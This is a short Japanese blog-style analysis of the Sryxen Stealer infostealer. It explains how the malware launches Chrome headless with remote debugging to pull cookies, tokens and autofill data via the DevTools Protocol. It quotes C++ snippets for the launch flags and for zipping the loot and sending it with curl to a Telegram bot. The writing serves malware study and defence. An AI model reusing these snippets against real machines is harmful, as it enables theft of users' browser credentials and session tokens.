ブラウザに保存された認証情報は簡単にはアクセスできず、Windowsに保存されたキー(DPAPI)で保護されている。
通常、起動中のブラウザによってこの鍵を使うことで、ブラウザに保存された認証情報を読んでいる。
Sryxen Stealerはブラウザをヘッドレス(バックグラウンド)で起動して、認証情報を盗む。
別に目新しい手法でも無いとは思うが、具体的どのように行われるかは知らなかった。
Chromeのヘッドレス起動
DECEPTIQの解析より、起動時のオプションは以下のよう。
// core.cpp - Launch Chrome with remote debugging std::wstring cmdLine = L"\"" + browserPath + L"\" --headless " + L"--user-data-dir=\"" + userData + L"\" " + L"--remote-debugging-port=" + std::to_wstring(port) + L" " + L"--remote-allow-origins=* " + L"--disable-extensions --no-sandbox --disable-gpu"; CreateProcessW(browserPath.c_str(), cmdLineVec.data(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
●--headless
ブラウザをGUIなしで実行しバックグラウンドで動作
●--user-data-dir="<path>"
ユーザープロファイルを指定して実行。ユーザープロファイルごとにログオン状態のデータを盗むため。
●--remote-debugging-port=<port>
Chrome DevTools Protocolへのリモートアクセスを有効化。デバッグポートでCLIでコントロールできるようにする。
●--remote-allow-origins=*
すべてのオリジンからのデバッグ接続を許可。実行制限回避。
●--disable-extensions
セキュリティ拡張機能やパスワード保護拡張、その他作業の妨げになりそうな拡張機能を無効化。
●--no-sandbox
Chromeのサンドボックス保護を無効化
●--disable-gpu
GPU処理は要らないからでは。
起動前には、%LOCALAPPDATA%\Google\Chrome\User Data\Defaultにどんなプロファイルがあるか特定しているはず。
CDP経由でWebSocket接続して、プロファイルごとに全Cookie取得、LocalStorageやSessionStorageからトークン抽出して、自動入力(autofill)の情報とかも抜いている。
盗んだ情報は、まとめてtelegramへ
DECEPTIQの解析より、以下のようにzipしてcurlでtelegramに送っている。
// Sryxen.cpp - Exfiltration // Compress with PowerShell std::string command = "powershell -Command Compress-Archive -Path \"" + folderPath + "\" -DestinationPath \"" + zipFileName + "\" >nul 2>&1"; system(command.c_str()); // Upload via curl to Telegram std::string curlCommand = "curl -F \"chat_id=" + std::string(CHAT_ID) + "\" " + "-F \"document=@\\\"" + zipFileNameStr + "\\\"\" " + "https://api.telegram.org/bot" + std::string(BOT_TOKEN) + "/sendDocument"; system(curlCommand.c_str());
よくあるtelegramに盗んだ情報を集約してる系の手法。discordに集めるやつもあるが、telegramの方がまだ匿名性的にマシなのか?